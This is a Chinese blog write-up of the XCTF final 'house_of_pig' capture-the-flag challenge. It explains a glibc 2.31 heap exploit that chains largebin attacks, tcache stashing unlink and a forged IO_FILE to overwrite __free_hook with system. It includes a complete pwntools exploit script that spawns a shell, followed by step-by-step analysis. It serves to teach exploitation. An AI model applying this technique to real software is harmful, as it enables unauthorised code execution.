house of pig

前言

很早之前就做了 xctf final 的 house_of_pig 这个题,不过一直没来得及分析,今天再看看代码分析一下。代码逆向部分主要参考house of pig详解_陈子政的博客-CSDN博客

利用条件

1.largebin attack

2.UAF

3.tcache_stashing_unlink

largebin attack可参考house of pig详解_陈子政的博客-CSDN博客

这里说一下tcache_stashing_unlink的原理:先在tcache bin中放入5个chunk,再在smallbin中放入两个chunk。将最后进入smallbin中的chunk的bk指针修改为目标地址-0x10,再将目标地址+0x8的位置设置为一个指向可写内存的指针。

这里主要用到calloc函数,与malloc不同,这个calloc函数调用时不会从tcache里分配空闲的chunk,并且calloc会进行初始化。

由此,我们申请堆块时,就会触发tcache_stashing_unlink,将smallbin中的chunk连接到tcachebin中。

例题分析

漏洞分析

 主要功能有申请,释放,编辑,打印。功能5是切换不同的角色。

 在delete函数里存在uaf漏洞

 

 在角色3中的add函数里多了一个gift,多申请一个大小0xe8的堆块。触发条件就是使用角色三创建五个堆块,在创建第五个堆块时触发。

在change函数中有一个md5加密,直接拿别的师傅解密过的用了。

 

exp

from pwn import *
context.log_level = 'debug'
context.arch='amd64'
r = process('./pig')
elf=ELF('./pig')
libc = ELF('/home/ubuntulyp/桌面/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')

def info(a,b):
    log.info("\033[0;33;40m"+a+hex(b)+'\033[0m')

def menu(cmd):
    r.sendlineafter('Choice: ', str(cmd))

def add(size, content):
    menu(1)
    r.sendlineafter('size: ', str(size))
    r.sendafter('message: ', content)

def show(idx):
    menu(2)
    r.sendlineafter('index: ', str(idx))

def edit(idx, content):
    menu(3)
    r.sendlineafter('index: ', str(idx))
    r.sendafter('message: ', content)

def free(idx):
    menu(4)
    r.sendlineafter('index: ', str(idx))

def change(user):
    menu(5)
    if user == 1:
        r.sendlineafter('user:\n', 'A\x01\x95\xc9\x1c')
    elif user == 2:
        r.sendlineafter('user:\n', 'B\x01\x87\xc3\x19')
    elif user == 3:
        r.sendlineafter('user:\n', 'C\x01\xf7\x3c\x32')


#--------------------prepare for tcache stashing unlink attack-------------
change(2)
for i in range(5):#B0-B4
    add(0x90,'a'*0x30)
    free(i)
change(1)
add(0x130,'a'*0x60)#A0
for i in range(1,8):#A1-A7
    add(0x130,'a'*0x60)
    free(i)
free(0)
change(2)
add(0x90,'a'*0x30)#B5
change(1)
add(0x150,'k'*0x70)#A8,0xc80
for i in range(9,16):#A9-A15
    add(0x150,'a'*0x70)
    free(i)
free(8)
change(2)
add(0xb0,'a'*0x30)#B6
change(1)
add(0x430,'a'*0x160)#A16

# #-----------------------leak libc and heap address-------------------------
change(2)
add(0xf0,'a'*0x50)#B7
change(1)
free(16)
change(2)
change(1)
show(16)
r.recvuntil("The message is: ")
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
info("libcbase->",libcbase)
system=libcbase+libc.sym['system']
info("system->",system)
free_hook=libcbase+libc.sym['__free_hook']
IO_list_all = libcbase + libc.sym['_IO_list_all']
change(2)
show(1)
r.recvuntil("The message is: ")
heapbase=u64(r.recv(6).ljust(8,b'\x00'))-0x1eb0
info("heapbase->",heapbase)

#-----------------first  large bin attack---------------------------#
add(0x440,'a'*0x160)#B8
change(1)
add(0x430,'a'*0x160)#A17
add(0x430,'a'*0x160)#A18
add(0x430,'a'*0x160)#A19
change(2)
free(8)
add(0x450,'a'*0x170)#B9
change(1)
free(17)
change(2)
edit(8,p64(0)+p64(free_hook-0x28)+b'\n')
print("free_hook--------------------------------",hex(free_hook))
change(3)
add(0xa0,'a'*0x30)#C0
change(2)
edit(8,p64(heapbase+0x3c00)*2+b'\n')
#----------------second large bin attack---------------------------
change(3)
add(0x380,'a'*0x120)#C1
change(1)
free(19)
change(2)
edit(8,p64(0)+p64(IO_list_all-0x20)+b'\n')
change(3)
add(0xa0,'a'*0x30)#C2
change(2)
edit(8,p64(heapbase+0x3c00)*2+b'\n')

#----------------tcache stashing unlink attack----------------------#
change(1)
fd=heapbase+0x2260
edit(8,b'b'*0x40+p64(fd)+p64(free_hook-0x20)+b'\n')
change(3)
payload = b'a'*0x18 + p64(heapbase+0x4540)
payload = payload.ljust(0x160, b'\x00')
add(0x440, payload)#c3
add(0x90,b'a'*0x30)#c4,one more

str_jumps=libcbase+0x1ed560
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #_IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heapbase+0x4620)                #_IO_buf_base
fake_IO_FILE += p64(heapbase+0x4638)                #_IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(str_jumps)        #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + p64(0)+p64(system)
r.sendafter('Gift:', payload)
gdb.attach(r)
menu(5)
r.sendlineafter('user:\n', '')
# gdb.attach(r)
r.interactive()

代码分析

change(2)
for i in range(5):#B0-B4
    add(0x90,'a'*0x30)
    free(i)
change(1)
add(0x130,'a'*0x60)#A0
for i in range(1,8):#A1-A7
    add(0x130,'a'*0x60)
    free(i)
free(0)
change(2)
add(0x90,'a'*0x30)#B5
change(1)
add(0x150,'k'*0x70)#A8,0xc80
for i in range(9,16):#A9-A15
    add(0x150,'a'*0x70)
    free(i)
free(8)
change(2)
add(0xb0,'a'*0x30)#B6
change(1)
add(0x430,'a'*0x160)#A16

这里先向tcache bin里释放5个0x90大小的堆块,然后释放8个0x130的堆块,其中A0堆块进入unsortedbin,通过计算大小,在申请0x90大小的堆块,剩下0x90在unsortedbin中,再申请一个大堆块让其进入smallbin中

 同样操作再释放一个堆块进入smallbin中,注意这里为了不用再额外申请堆块泄露libc,第二次申请大堆块直接申请一个size在unsortedbin中的。

 

change(2)
add(0xf0,'a'*0x50)#B7
change(1)
free(16)
change(2)
change(1)
show(16)
r.recvuntil("The message is: ")
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
info("libcbase->",libcbase)
system=libcbase+libc.sym['system']
info("system->",system)
free_hook=libcbase+libc.sym['__free_hook']
IO_list_all = libcbase + libc.sym['_IO_list_all']
change(2)
show(1)
r.recvuntil("The message is: ")
heapbase=u64(r.recv(6).ljust(8,b'\x00'))-0x1eb0
info("heapbase->",heapbase)

 为了防止堆块合并,先申请B7,然后释放A16进入unsortedbin中,泄露libc和heapbase。

 

add(0x440,'a'*0x160)#B8
change(1)
add(0x430,'a'*0x160)#A17
add(0x430,'a'*0x160)#A18
add(0x430,'a'*0x160)#A19
change(2)
free(8)
add(0x450,'a'*0x170)#B9
change(1)
free(17)
change(2)
edit(8,p64(0)+p64(free_hook-0x28)+b'\n')
print("free_hook--------------------------------",hex(free_hook))
change(3)
add(0xa0,'a'*0x30)#C0
change(2)
edit(8,p64(heapbase+0x3c00)*2+b'\n')

这里进行第一次largebin attack,先将B8堆块释放进入unsortedbin中,然后申请一个大于B8的堆块将其放入largebin中,再释放一个小于B8的堆块进入unsortedbin,编辑B8的bk->nextsize为free_hook-0x28,再申请一个小堆块触发largebin attack,向free_hook-0x8的位置写入B8堆块的地址。

change(3)
add(0x380,'a'*0x120)#C1
change(1)
free(19)
change(2)
edit(8,p64(0)+p64(IO_list_all-0x20)+b'\n')
change(3)
add(0xa0,'a'*0x30)#C2
change(2)
edit(8,p64(heapbase+0x3c00)*2+b'\n')

同理这里通过largebin attack将_IO_list_all改为B8堆块的地址。

 

change(1)
fd=heapbase+0x2260
edit(8,b'b'*0x40+p64(fd)+p64(free_hook-0x20)+b'\n')
change(3)
payload = b'a'*0x18 + p64(heapbase+0x4540)
payload = payload.ljust(0x160, b'\x00')
add(0x440, payload)#c3
add(0x90,b'a'*0x30)#c4,one more

接下来触发tcache stashing unlink attack

先将smallbin中的堆块的指针修改,使其指向free_hook-0x20。注意这里的A8堆块是最开始被切割堆块的上一个,通过计算使其正好覆盖到smallbin中的堆块并修改指针。

 

 

我们实际修改的是0x562e82f7bbc0堆块。 

此时我们看到由于unsortedbin和largebin中都有chunk,因此我们直接申请0x90的堆块是不行的,这里我们申请一个大小为0x440的堆块,首先unsortedbin判断不满足大小,将unsortedbin中的堆块放入smallbin中,然后再将largebin中的空闲chunk分配出去。

然后申请一个0x90的堆块触发tcache stashing unlink attack

 这里特别注意一下这个0x440的堆块,它就是我们之前largebin attack中往_IO_list_all中写入的堆地址,因此我们要对这个堆块进行伪造fake file,使其chain指向我们布置的另一个file结构体的地址(也就是gift中申请的地址,接着往下看)

str_jumps=libcbase+0x1ed560
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #_IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heapbase+0x4620)                #_IO_buf_base
fake_IO_FILE += p64(heapbase+0x4638)                #_IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(str_jumps)        #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + p64(0)+p64(system)
r.sendafter('Gift:', payload)
gdb.attach(r)
menu(5)
r.sendlineafter('user:\n', '')
r.interactive()

这就是我们往gift创建的堆块中伪造的file结构体

地址正好是heapbase+0x4540 。

对于file结构体的构造原理:

将其 vtable 由 _IO_file_jumps 修改为 _IO_str_jumps,则原本应该调用 IO_file_overflow 的时候,就会去调用 IO_str_overflow。

看看IO_str_overflow函数的实现:

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

看到io_str_overflow调用了malloc,memcpy,free等函数。

size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

这里是new_size的计算公式,我们看到,只要合理控制_IO_buf_end和_IO_buf_base即可控制malloc的大小。

我们可以通过 IO_str_overflow 函数中的memcpy 写入到刚刚申请出来的包含__free_hook的这个 chunk,从而能任意控制__free_hook,将其修改为system,然后再布置其参数为'/bin/sh\x00'即可。在最后, IO_str_overflow会free掉_IO_buf_base指向的chunk,从而触发system。

调试一下

调用链:exit====>__run_exit_handlers=====>_IO_cleanup====>_IO_flush_all_lockp====>

_IO_str_overflow

si进入

 

si进入

 

 si进入

 

si进入

 

si进入,这里rdi为最后gift申请的那个堆块

 

成功伪造size的大小,使其申请tcachebin中的free_hook-0x10位置的chunk 

 

 

 这里将_IO_buf_base指向的数据拷贝到了free_hook-0x10的位置

 

 这时free_hook被修改成system。

并且rdi修改为'/bin/sh'

 

最后调用free函数get  shell !

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值